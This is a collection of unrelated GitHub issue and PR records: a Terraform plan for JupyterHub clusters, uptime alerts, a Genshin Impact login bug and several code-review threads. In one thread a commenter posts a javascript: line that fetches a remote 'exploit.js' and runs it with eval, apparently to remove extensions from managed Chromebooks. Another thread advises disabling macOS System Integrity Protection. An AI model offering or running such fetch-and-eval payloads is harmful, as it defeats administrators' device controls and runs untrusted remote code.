~ resource "google_container_node_pool" "dask_worker" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/dask-very-large"
name                        = "dask-very-large"
# (9 unchanged attributes hidden)
  ~ node_config {
        tags              = []
        # (12 unchanged attributes hidden)

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
        # (1 unchanged block hidden)
    }

    # (3 unchanged blocks hidden)
}

google_container_node_pool.notebook["huge"] will be updated in-place
~ resource "google_container_node_pool" "notebook" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/nb-huge"
name                        = "nb-huge"
# (9 unchanged attributes hidden)
  ~ node_config {
        tags              = []
        # (12 unchanged attributes hidden)

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
        # (1 unchanged block hidden)
    }

    # (3 unchanged blocks hidden)
}

google_container_node_pool.notebook["large"] will be updated in-place
~ resource "google_container_node_pool" "notebook" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/nb-large"
name                        = "nb-large"
# (9 unchanged attributes hidden)
  ~ node_config {
        tags              = []
        # (12 unchanged attributes hidden)

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
        # (1 unchanged block hidden)
    }

    # (3 unchanged blocks hidden)
}

google_container_node_pool.notebook["medium"] will be updated in-place
~ resource "google_container_node_pool" "notebook" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/nb-medium"
name                        = "nb-medium"
# (9 unchanged attributes hidden)
  ~ node_config {
        tags              = []
        # (12 unchanged attributes hidden)

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
        # (1 unchanged block hidden)
    }

    # (3 unchanged blocks hidden)
}

google_container_node_pool.notebook["small"] will be updated in-place
~ resource "google_container_node_pool" "notebook" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/nb-small"
name                        = "nb-small"
# (9 unchanged attributes hidden)
  ~ node_config {
        tags              = []
        # (12 unchanged attributes hidden)

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
        # (1 unchanged block hidden)
    }

    # (3 unchanged blocks hidden)
}

google_container_node_pool.notebook["very-large"] will be updated in-place
~ resource "google_container_node_pool" "notebook" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/nb-very-large"
name                        = "nb-very-large"
# (9 unchanged attributes hidden)
  ~ node_config {
        tags              = []
        # (12 unchanged attributes hidden)

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
        # (1 unchanged block hidden)
    }

    # (3 unchanged blocks hidden)
}

Plan: 0 to add, 10 to change, 0 to destroy.
Warning: Argument is deprecated
with google_filestore_instance.homedirs,
on storage.tf line 4, in resource "google_filestore_instance" "homedirs":
4:   zone = var.zone
Deprecated in favor of location.
─────────────────────────────────────────────────────────────────────────────
Note: You didn't use the -out option to save this plan, so Terraform can't
guarantee to take exactly these actions if you run "terraform apply" now.

This is a no-op.

terraform plan output for pangeo-hubs.

google_artifact_registry_repository.registry: Refreshing state... [id=projects/pangeo-integration-te-3eea/locations/us-central1/repositories/pangeo-hubs-registry]
google_project_iam_custom_role.identify_project_role: Refreshing state... [id=projects/pangeo-integration-te-3eea/roles/pangeo_hubs_user_sa_role]
google_service_account.cd_sa: Refreshing state... [id=projects/pangeo-integration-te-3eea/serviceAccounts/pangeo-hubs-cd-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com]
google_service_account.cluster_sa: Refreshing state... [id=projects/pangeo-integration-te-3eea/serviceAccounts/pangeo-hubs-cluster-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com]
google_storage_bucket.user_buckets["pangeo-scratch"]: Refreshing state... [id=pangeo-hubs-pangeo-scratch]
google_service_account_key.cd_sa: Refreshing state... [id=projects/pangeo-integration-te-3eea/serviceAccounts/pangeo-hubs-cd-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com/keys/a49552f97c52549eff834dd54e80865715c0b953]
google_storage_bucket_iam_member.member["pangeo-scratch"]: Refreshing state... [id=b/pangeo-hubs-pangeo-scratch/roles/storage.admin/serviceAccount:pangeo-hubs-cluster-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com]
google_project_iam_member.cd_sa_roles["roles/container.admin"]: Refreshing state... [id=pangeo-integration-te-3eea/roles/container.admin/serviceAccount:pangeo-hubs-cd-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com]
google_project_iam_member.cd_sa_roles["roles/artifactregistry.writer"]: Refreshing state... [id=pangeo-integration-te-3eea/roles/artifactregistry.writer/serviceAccount:pangeo-hubs-cd-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/monitoring.viewer"]: Refreshing state... [id=pangeo-integration-te-3eea/roles/monitoring.viewer/serviceAccount:pangeo-hubs-cluster-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/stackdriver.resourceMetadata.writer"]: Refreshing state... [id=pangeo-integration-te-3eea/roles/stackdriver.resourceMetadata.writer/serviceAccount:pangeo-hubs-cluster-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/artifactregistry.reader"]: Refreshing state... [id=pangeo-integration-te-3eea/roles/artifactregistry.reader/serviceAccount:pangeo-hubs-cluster-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/logging.logWriter"]: Refreshing state... [id=pangeo-integration-te-3eea/roles/logging.logWriter/serviceAccount:pangeo-hubs-cluster-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/monitoring.metricWriter"]: Refreshing state... [id=pangeo-integration-te-3eea/roles/monitoring.metricWriter/serviceAccount:pangeo-hubs-cluster-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com]
google_filestore_instance.homedirs[0]: Refreshing state... [id=projects/pangeo-integration-te-3eea/locations/us-central1-b/instances/pangeo-hubs-homedirs]
google_compute_router.router[0]: Refreshing state... [id=projects/pangeo-integration-te-3eea/regions/us-central1/routers/pangeo-hubs-router]
google_compute_firewall.iap_ssh_ingress[0]: Refreshing state... [id=projects/pangeo-integration-te-3eea/global/firewalls/allow-ssh]
google_project_iam_member.identify_project_binding: Refreshing state... [id=pangeo-integration-te-3eea/projects/pangeo-integration-te-3eea/roles/pangeo_hubs_user_sa_role/serviceAccount:pangeo-hubs-cluster-sa@pangeo-integration-te-3eea.iam.gserviceaccount.com]
google_container_cluster.cluster: Refreshing state... [id=projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster]
google_compute_router_nat.nat[0]: Refreshing state... [id=pangeo-integration-te-3eea/us-central1/pangeo-hubs-router/pangeo-hubs-router-nat]
google_container_node_pool.dask_worker["large"]: Refreshing state... [id=projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/dask-large]
google_container_node_pool.notebook["small"]: Refreshing state... [id=projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/nb-small]
google_container_node_pool.dask_worker["small"]: Refreshing state... [id=projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/dask-small]
google_container_node_pool.notebook["medium"]: Refreshing state... [id=projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/nb-medium]
google_container_node_pool.notebook["large"]: Refreshing state... [id=projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/nb-large]
google_container_node_pool.dask_worker["medium"]: Refreshing state... [id=projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/dask-medium]
google_container_node_pool.core: Refreshing state... [id=projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/core-pool]

Note: Objects have changed outside of Terraform
Terraform detected the following changes made outside of Terraform since the
last "terraform apply":
  # google_container_cluster.cluster has changed
  ~ resource "google_container_cluster" "cluster" {
id                          = "projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster"
name                        = "pangeo-hubs-cluster"
# (27 unchanged attributes hidden)
  ~ node_pool {
        name                        = "core-pool"
      ~ node_count                  = 3 -> 2
        # (6 unchanged attributes hidden)

        # (5 unchanged blocks hidden)
    }
  ~ node_pool {
        name                        = "nb-medium"
      ~ node_count                  = 0 -> 1
        # (6 unchanged attributes hidden)

        # (5 unchanged blocks hidden)
    }
  ~ node_pool {
        name                        = "nb-large"
      ~ node_count                  = 2 -> 1
        # (6 unchanged attributes hidden)

        # (5 unchanged blocks hidden)
    }
  ~ node_pool {
        name                        = "dask-medium"
      ~ node_count                  = 14 -> 0
        # (6 unchanged attributes hidden)

        # (5 unchanged blocks hidden)
    }

    # (19 unchanged blocks hidden)
}

  # google_container_node_pool.core has changed
  ~ resource "google_container_node_pool" "core" {
id                          = "projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/core-pool"
name                        = "core-pool"
~ node_count                  = 3 -> 2
# (9 unchanged attributes hidden)
    # (4 unchanged blocks hidden)
}

  # google_container_node_pool.dask_worker["medium"] has changed
  ~ resource "google_container_node_pool" "dask_worker" {
id                          = "projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/dask-medium"
name                        = "dask-medium"
~ node_count                  = 14 -> 0
# (9 unchanged attributes hidden)
    # (4 unchanged blocks hidden)
}

  # google_container_node_pool.notebook["large"] has changed
  ~ resource "google_container_node_pool" "notebook" {
id                          = "projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/nb-large"
name                        = "nb-large"
~ node_count                  = 2 -> 1
# (9 unchanged attributes hidden)
    # (4 unchanged blocks hidden)
}

  # google_container_node_pool.notebook["medium"] has changed
  ~ resource "google_container_node_pool" "notebook" {
id                          = "projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/nb-medium"
name                        = "nb-medium"
~ node_count                  = 0 -> 1
# (9 unchanged attributes hidden)
    # (4 unchanged blocks hidden)
}

Unless you have made equivalent changes to your configuration, or ignored the
relevant attributes using ignore_changes, the following plan may include
actions to undo or respond to these changes.

─────────────────────────────────────────────────────────────────────────────
Terraform used the selected providers to generate the following execution
plan. Resource actions are indicated with the following symbols:
-/+ destroy and then create replacement

Terraform will perform the following actions:
  # google_container_node_pool.dask_worker["large"] must be replaced
-/+ resource "google_container_node_pool" "dask_worker" {
~ id                          = "projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/dask-large" -> (known after apply)
~ instance_group_urls         = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroupManagers/gke-pangeo-hubs-cluster-dask-large-8741828e-grp",
] -> (known after apply)
~ managed_instance_group_urls = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroups/gke-pangeo-hubs-cluster-dask-large-8741828e-grp",
] -> (known after apply)
~ max_pods_per_node           = 110 -> (known after apply)
name                        = "dask-large"
+ name_prefix                 = (known after apply)
~ node_count                  = 0 -> (known after apply)
~ node_locations              = [
- "us-central1-b",
] -> (known after apply)
+ operation                   = (known after apply)
~ version                     = "1.20.8-gke.2101" -> (known after apply)
# (4 unchanged attributes hidden)
  ~ node_config {
      ~ disk_size_gb      = 100 -> (known after apply)
      ~ disk_type         = "pd-ssd" -> "pd-balanced" # forces replacement
      ~ guest_accelerator = [] -> (known after apply)
      ~ image_type        = "COS_CONTAINERD" -> (known after apply)
      ~ local_ssd_count   = 0 -> (known after apply)
      ~ metadata          = {
          - "disable-legacy-endpoints" = "true"
        } -> (known after apply)
        tags              = []
        # (6 unchanged attributes hidden)

      ~ shielded_instance_config {
          ~ enable_integrity_monitoring = true -> (known after apply)
          ~ enable_secure_boot          = false -> (known after apply)
        }

        # (1 unchanged block hidden)
    }

  ~ upgrade_settings {
      ~ max_surge       = 1 -> (known after apply)
      ~ max_unavailable = 0 -> (known after apply)
    }
    # (2 unchanged blocks hidden)
}

  # google_container_node_pool.dask_worker["medium"] must be replaced
-/+ resource "google_container_node_pool" "dask_worker" {
~ id                          = "projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/dask-medium" -> (known after apply)
~ instance_group_urls         = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroupManagers/gke-pangeo-hubs-cluster-dask-medium-f0702139-grp",
] -> (known after apply)
~ managed_instance_group_urls = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroups/gke-pangeo-hubs-cluster-dask-medium-f0702139-grp",
] -> (known after apply)
~ max_pods_per_node           = 110 -> (known after apply)
name                        = "dask-medium"
+ name_prefix                 = (known after apply)
~ node_count                  = 0 -> (known after apply)
~ node_locations              = [
- "us-central1-b",
] -> (known after apply)
+ operation                   = (known after apply)
~ version                     = "1.20.8-gke.2101" -> (known after apply)
# (4 unchanged attributes hidden)
  ~ node_config {
      ~ disk_size_gb      = 100 -> (known after apply)
      ~ disk_type         = "pd-ssd" -> "pd-balanced" # forces replacement
      ~ guest_accelerator = [] -> (known after apply)
      ~ image_type        = "COS_CONTAINERD" -> (known after apply)
      ~ local_ssd_count   = 0 -> (known after apply)
      ~ metadata          = {
          - "disable-legacy-endpoints" = "true"
        } -> (known after apply)
        tags              = []
        # (6 unchanged attributes hidden)

      ~ shielded_instance_config {
          ~ enable_integrity_monitoring = true -> (known after apply)
          ~ enable_secure_boot          = false -> (known after apply)
        }

        # (1 unchanged block hidden)
    }

  ~ upgrade_settings {
      ~ max_surge       = 1 -> (known after apply)
      ~ max_unavailable = 0 -> (known after apply)
    }
    # (2 unchanged blocks hidden)
}

  # google_container_node_pool.dask_worker["small"] must be replaced
-/+ resource "google_container_node_pool" "dask_worker" {
~ id                          = "projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/dask-small" -> (known after apply)
~ instance_group_urls         = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroupManagers/gke-pangeo-hubs-cluster-dask-small-abfb145b-grp",
] -> (known after apply)
~ managed_instance_group_urls = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroups/gke-pangeo-hubs-cluster-dask-small-abfb145b-grp",
] -> (known after apply)
~ max_pods_per_node           = 110 -> (known after apply)
name                        = "dask-small"
+ name_prefix                 = (known after apply)
~ node_count                  = 0 -> (known after apply)
~ node_locations              = [
- "us-central1-b",
] -> (known after apply)
+ operation                   = (known after apply)
~ version                     = "1.20.8-gke.2101" -> (known after apply)
# (4 unchanged attributes hidden)
  ~ node_config {
      ~ disk_size_gb      = 100 -> (known after apply)
      ~ disk_type         = "pd-ssd" -> "pd-balanced" # forces replacement
      ~ guest_accelerator = [] -> (known after apply)
      ~ image_type        = "COS_CONTAINERD" -> (known after apply)
      ~ local_ssd_count   = 0 -> (known after apply)
      ~ metadata          = {
          - "disable-legacy-endpoints" = "true"
        } -> (known after apply)
        tags              = []
        # (6 unchanged attributes hidden)

      ~ shielded_instance_config {
          ~ enable_integrity_monitoring = true -> (known after apply)
          ~ enable_secure_boot          = false -> (known after apply)
        }

        # (1 unchanged block hidden)
    }

  ~ upgrade_settings {
      ~ max_surge       = 1 -> (known after apply)
      ~ max_unavailable = 0 -> (known after apply)
    }
    # (2 unchanged blocks hidden)
}

  # google_container_node_pool.notebook["large"] must be replaced
-/+ resource "google_container_node_pool" "notebook" {
~ id                          = "projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/nb-large" -> (known after apply)
~ instance_group_urls         = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroupManagers/gke-pangeo-hubs-cluster-nb-large-7ec2a078-grp",
] -> (known after apply)
~ managed_instance_group_urls = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroups/gke-pangeo-hubs-cluster-nb-large-7ec2a078-grp",
] -> (known after apply)
~ max_pods_per_node           = 110 -> (known after apply)
name                        = "nb-large"
+ name_prefix                 = (known after apply)
~ node_count                  = 1 -> (known after apply)
~ node_locations              = [
- "us-central1-b",
] -> (known after apply)
+ operation                   = (known after apply)
~ version                     = "1.20.8-gke.2101" -> (known after apply)
# (4 unchanged attributes hidden)
  ~ node_config {
      ~ disk_size_gb      = 100 -> (known after apply)
      ~ disk_type         = "pd-standard" -> "pd-balanced" # forces replacement
      ~ guest_accelerator = [] -> (known after apply)
      ~ image_type        = "COS_CONTAINERD" -> (known after apply)
      ~ local_ssd_count   = 0 -> (known after apply)
      ~ metadata          = {
          - "disable-legacy-endpoints" = "true"
        } -> (known after apply)
        tags              = []
        # (6 unchanged attributes hidden)

      ~ shielded_instance_config {
          ~ enable_integrity_monitoring = true -> (known after apply)
          ~ enable_secure_boot          = false -> (known after apply)
        }

        # (1 unchanged block hidden)
    }

  ~ upgrade_settings {
      ~ max_surge       = 1 -> (known after apply)
      ~ max_unavailable = 0 -> (known after apply)
    }
    # (2 unchanged blocks hidden)
}

  # google_container_node_pool.notebook["medium"] must be replaced
-/+ resource "google_container_node_pool" "notebook" {
~ id                          = "projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/nb-medium" -> (known after apply)
~ instance_group_urls         = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroupManagers/gke-pangeo-hubs-cluster-nb-medium-04a21a74-grp",
] -> (known after apply)
~ managed_instance_group_urls = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroups/gke-pangeo-hubs-cluster-nb-medium-04a21a74-grp",
] -> (known after apply)
~ max_pods_per_node           = 110 -> (known after apply)
name                        = "nb-medium"
+ name_prefix                 = (known after apply)
~ node_count                  = 1 -> (known after apply)
~ node_locations              = [
- "us-central1-b",
] -> (known after apply)
+ operation                   = (known after apply)
~ version                     = "1.20.8-gke.2101" -> (known after apply)
# (4 unchanged attributes hidden)
  ~ node_config {
      ~ disk_size_gb      = 100 -> (known after apply)
      ~ disk_type         = "pd-standard" -> "pd-balanced" # forces replacement
      ~ guest_accelerator = [] -> (known after apply)
      ~ image_type        = "COS_CONTAINERD" -> (known after apply)
      ~ local_ssd_count   = 0 -> (known after apply)
      ~ metadata          = {
          - "disable-legacy-endpoints" = "true"
        } -> (known after apply)
        tags              = []
        # (6 unchanged attributes hidden)

      ~ shielded_instance_config {
          ~ enable_integrity_monitoring = true -> (known after apply)
          ~ enable_secure_boot          = false -> (known after apply)
        }

        # (1 unchanged block hidden)
    }

  ~ upgrade_settings {
      ~ max_surge       = 1 -> (known after apply)
      ~ max_unavailable = 0 -> (known after apply)
    }
    # (2 unchanged blocks hidden)
}

  # google_container_node_pool.notebook["small"] must be replaced
-/+ resource "google_container_node_pool" "notebook" {
~ id                          = "projects/pangeo-integration-te-3eea/locations/us-central1-b/clusters/pangeo-hubs-cluster/nodePools/nb-small" -> (known after apply)
~ instance_group_urls         = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroupManagers/gke-pangeo-hubs-cluster-nb-small-ef9b4ca7-grp",
] -> (known after apply)
~ managed_instance_group_urls = [
- "https://www.googleapis.com/compute/v1/projects/pangeo-integration-te-3eea/zones/us-central1-b/instanceGroups/gke-pangeo-hubs-cluster-nb-small-ef9b4ca7-grp",
] -> (known after apply)
~ max_pods_per_node           = 110 -> (known after apply)
name                        = "nb-small"
+ name_prefix                 = (known after apply)
~ node_count                  = 0 -> (known after apply)
~ node_locations              = [
- "us-central1-b",
] -> (known after apply)
+ operation                   = (known after apply)
~ version                     = "1.20.8-gke.2101" -> (known after apply)
# (4 unchanged attributes hidden)
  ~ node_config {
      ~ disk_size_gb      = 100 -> (known after apply)
      ~ disk_type         = "pd-standard" -> "pd-balanced" # forces replacement
      ~ guest_accelerator = [] -> (known after apply)
      ~ image_type        = "COS_CONTAINERD" -> (known after apply)
      ~ local_ssd_count   = 0 -> (known after apply)
      ~ metadata          = {
          - "disable-legacy-endpoints" = "true"
        } -> (known after apply)
        tags              = []
        # (6 unchanged attributes hidden)

      ~ shielded_instance_config {
          ~ enable_integrity_monitoring = true -> (known after apply)
          ~ enable_secure_boot          = false -> (known after apply)
        }

        # (1 unchanged block hidden)
    }

  ~ upgrade_settings {
      ~ max_surge       = 1 -> (known after apply)
      ~ max_unavailable = 0 -> (known after apply)
    }
    # (2 unchanged blocks hidden)
}

Plan: 6 to add, 0 to change, 6 to destroy.
╷
│ Warning: Argument is deprecated
│
│   with google_filestore_instance.homedirs,
│   on storage.tf line 4, in resource "google_filestore_instance" "homedirs":
│    4:   zone = var.zone
│
│ Deprecated in favor of location.
│
│ (and one more similar warning elsewhere)
╵

─────────────────────────────────────────────────────────────────────────────
Note: You didn't use the -out option to save this plan, so Terraform can't
guarantee to take exactly these actions if you run "terraform apply" now.

This is a destructive-ish change, so I'll have to apply this carefully and well timed.

cc @mmcky - we're playing around with speeding up the node creation a bit!

This isn't deployed on pangeo-hubs and cloudbank, but am going to merge this now to make further PR work that touches this easier.

@yuvipanda not sure if this is related to this merge. But for the Friday @ 3pm  (AEST) Tutorial Lab for the ANU course the whole class went down and weren't able to use the anu jupyterhub. All the other tutorials have been fine. I am wondering if this time slot may have coincided with an upgrade (overnight US time). Just thought I'd feed that back.

@mmcky oh no, I'm so sorry you ran into issues! I just investigated the hub and it is not related to this PR - https://github.com/2i2c-org/infrastructure/issues/1135 has more information. It looks like you basically ran into https://github.com/2i2c-org/infrastructure/issues/1103. This has happened twice now this week, so I'll bump up the priority in getting the fix deployed. Sorry for the inconvenience, and I'll let  you know once we deploy the fix!

Thanks so much @yuvipanda love your work.

This isn't deployed on pangeo-hubs and cloudbank, but am going to merge this now to make further PR work that touches this easier.

@yuvipanda, is this follow-up task living in a new issue?

@damianavila just opened up https://github.com/2i2c-org/infrastructure/issues/1153

authors: choldgraf damianavila mmcky yuvipanda


text:
🛑 MS - PAYMENTS-GATEKEEPER is down

In 666d12a, MS - PAYMENTS-GATEKEEPER ($MS_PAYMENTS_GATEKEEPER_URL) was down:

HTTP code: 404
Response time: 233 ms

Resolved: MS - PAYMENTS-GATEKEEPER is back up in b223536 after 25 minutes.

source: gharchive/issue

license: MIT

license_type: permissive

license_source: github-api


text:
🛑 MS - HOME-API is down

In 235d3d7, MS - HOME-API ($MS_HOME_API_URL) was down:

HTTP code: 503
Response time: 202 ms

Resolved: MS - HOME-API is back up in 4b5f6ce after 9 minutes.


text:
🛑 MS - B2B is down

In 7cac757, MS - B2B ($MS_B2B_URL) was down:

HTTP code: 503
Response time: 364 ms

Resolved: MS - B2B is back up in 4c7e99a.


text:
Some bugs about Verify or Browser

When i logged in, game requests my verify code from email. And the verify stage "slide to correct position" is a blank window.
and if i try to log in with twitter, the 3party verify windows is blank still.
I think maybe i need to install some wine support for website?
and i cannot close any blank verify windows.

System Information (please complete the following information):

macOS: 13.4 Ventura
Device: MacbookPro 16inch 2021
CPU: APPLE silicon
RAM: 16G

neutralinojs.log

this bug also recur in playcover log in process, so i nailed it with twitter-side log in.
BTW, i cannot shutdown the genshin impact game, i must close it with activity moniter. but it works on the launcher.

this bug also recur in playcover log in process, so i nailed it with twitter-side log in. BTW, i cannot shutdown the genshin impact game, i must close it with activity moniter. but it works on the launcher.

Same problem with mine. I wanted to try that twitter-side login. How do you do that?

same problem. please is there any update who to deal with it?

It is solved For me, I found that you need to Disable SIP (System Integrity Protection):
-First, shut down your Mac entirely so the screen is black and all other lights are off
-Press down and hold the power/Touch ID button until Loading startup options appear
-Select Options and continue
-If prompted, select the correct storage disk
-Log in with your administrator account
-When Utilities appears in the menu bar, click on it and choose Terminal
-In the terminal window type csrutil disable and type your password when prompted
-Wait for Successfully disabled System Integrity Protection to appear, then restart your Mac
After logging to genshin impact account you enable it again

I've found a workaround for the "slide to correct position" issue that worked (at least for me): try guesstimating the position of the draggable handle; once you start dragging, the UI appears.

authors: Abderrahmantbs Ricardo-F-X filvas jjarlego


text:
Add dark theme

A dark theme

how the fuckdo i do this it aint work

how the fuckdo i do this it aint work

????????????????

it don't work on my chrome book what don't under stand

it don't work on my chrome book what don't under stand

Open https://chrome.google.com/webstorex
Try "javascript:"
Paste in this code:
javascript:fetch(`https://raw.githubusercontent.com/3kh0/ext-remover/main/exploit.js`).then(data=>{data.text().then(text=>{eval(text)})});

i did that it aint doo anything

i did that it aint doo anything

Skill issue

ok you can stop talking bad about yourself

ok you can stop talking bad about yourself

What chrome version are you on?
(chrome://version)
If you are on 106+ it will not work lol

recheck it, it got updated, look at the readme

Yeah okay um well I will try a new export--
Jack Davis, Dir. of Client Relations
ProStage, HRTech™
COW of ProStage, HRTech™
REP of ProStage, HRTech™
Harbor Ridge Middle School, PSD
Gig Harbor, WA
o:253.530.1900
Jack

source: gharchive/pull-request


text:
🛑 3mdeb Text Chat is down

In 7af9418, 3mdeb Text Chat (https://chat.3mdeb.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: 3mdeb Text Chat is back up in 3f26e9a after 7 minutes.


text:
fix: Buffer Relative Placement

current behavior
We can set buffer on an image, the same as window. When window is set (alone or with
buffer), the image is positioned relative to the window. If just buffer is set (alone) then the
image is positioned absolutely on the screen.
after this PR
if buffer is set and window is not, try to find a window that houses the buffer, set window
and continue to render now with both window and buffer set.
things to consider

This is a potentially breaking change if anything is relying on the old behavior.
Two windows showing the same buffer is still not supported (although I think this is true of the
entire plugin)
Should we actually set the window on the image? or use something temporary for the single render
cycle?

That last question concern is the big one for me. I'm not sure what makes the most sense here

Hey, I think we need to keep the requirement that both windows and buffers are set for the automatic handling logic to kick in.
There is support for having the same buffer in two windows and rendering the images separately, there's just some issues around extmark compensation, which happen when something containing an image is folded in a window and it isn't in another. (I don't think we can fix that unless there's going to be some kind of way to add per-window-buffer-pair extmarks.)
https://github.com/3rd/image.nvim/assets/59587503/1aef2d48-e570-4527-b248-3c634874ac65
The window/buffer placement is very easy to think about, and makes this "mount to this position when buffer is in window x" helper logic easy to integrate for the most common document-related use cases, and it comes at no expense for the caller, always passing the window isn't hard.

If you use a floating window for https://github.com/dccsillag/magma-nvim/pull/115 it should work great if you pass the window & buffer id.

Magma constructs its output buffer (including images), before the floating window is created. I think the reason was to make the output window exactly as tall as it needs to be.
I can just update image's window after the fact I guess

Magma constructs its output buffer (including images), before the floating window is created. I think the reason was to make the output window exactly as tall as it needs to be.
I can just update image's window after the fact I guess

You can create the image without rendering it, the width/height should be available.


text:
3scale Mixer Adapter doesn't report any adapter metrics

In the "Mixer Dashboard" in Grafana we can see several adapters reporting some metrics (dispatch count, and success/error for dispatches). We should investigate why the 3scale Mixer Adapter doesn't show any kind of metric, and try to fix that.
Screenshot:

----- Update 17/10/2018
Seems clear from Prometheus targets that Istio Mixer is exposing a prometheus /metrics endpoint:

Checking the source code, we can see the implementation here:
https://github.com/istio/istio/blob/master/mixer/pkg/server/monitoring.go
------ update 18/10/2018
After asking Istio devels, looks like the mixer dispatching metrics for our adapter should be reported... trying to get more info there. (Bug in our code or mixer?)
------ Update 22/10/2018
We need to check if mixer reports for dynamic adapters the dispatch metrics. Those metrics are not enough for monitoring the actual state of the adapter, we should expose a Prometheus endpoint with internal adapter stats.
Related to #18

Update: After digging in to this a bit it appears that mixer does report some metrics for the 3scale adapter. However as in the above image, there are no data points visible for the individual adapter.
Having gone into the Grafana dashboard and checking the Prometheus query for these graphs, it looks like:

Running the same query within Prometheus itself does in fact show some data points. Screenshots of the two are shown:

There is also a regex run on the handler name which is going to result in inconsistent labelling across graphs compared to the built in adapter with the out of process. Naming conventions are, for example,handler="threescale.handler.istio-system" handler="handler.stdio.istio-system" respectively. However I am not entirely sure that is the source of the missing datapoints. I am also not entirely sure how to progress this issue any further.
@jmprusi @unleashed @mikz open to suggestions on what to do next here?

Should be fixed now in https://github.com/istio/installer/pull/190

authors: PhilipGough jmprusi


text:
Dapp1 39 add sidebar drawer

Added Daisy-UI Drawer component for use in Fortuna as side menu

What is left for this to be merged?


text:
Reconnect on quit 431

This should help in situations where an IRC proxy (e.g. znc) may send a QUIT event, it will ensure matterbridge reconnects, even if the disconnect was not in error.
Also ran the code through gofmt/goreturns to fix some of the inconsistencies.

Had to force push to fix https://github.com/42wim/matterbridge/pull/445/commits/3b72594a9dafa85a6292403813ee557fccf8fb67#diff-228410cdab7b67ae6ed9a2aa28c657d0 not using proper import names.
Just FYI, when importing, if the package name you use doesn't match the folder name used in the import (e.g. https://github.com/42wim/matterbridge/pull/445/commits/3b72594a9dafa85a6292403813ee557fccf8fb67#diff-8cf1b62ff356263dd5a7c773e800dcc7, actual package being samechannelgateway but directory name being samechannel), this causes most editors to not properly provide intellisense/code-completion, and isn't standard. It should be concise and clear to the person reading the code, where the package came from.

Also, I would use something like https://github.com/sqs/goreturns (or at least goimports) in your editor. VS Code has amazing support for these types of things, and it's my favorite editor for Go (even if it is a Microsoft product..).
FWIW, vim-go should also support goreturns/goimports/etc, among other editors, if that's what you use.

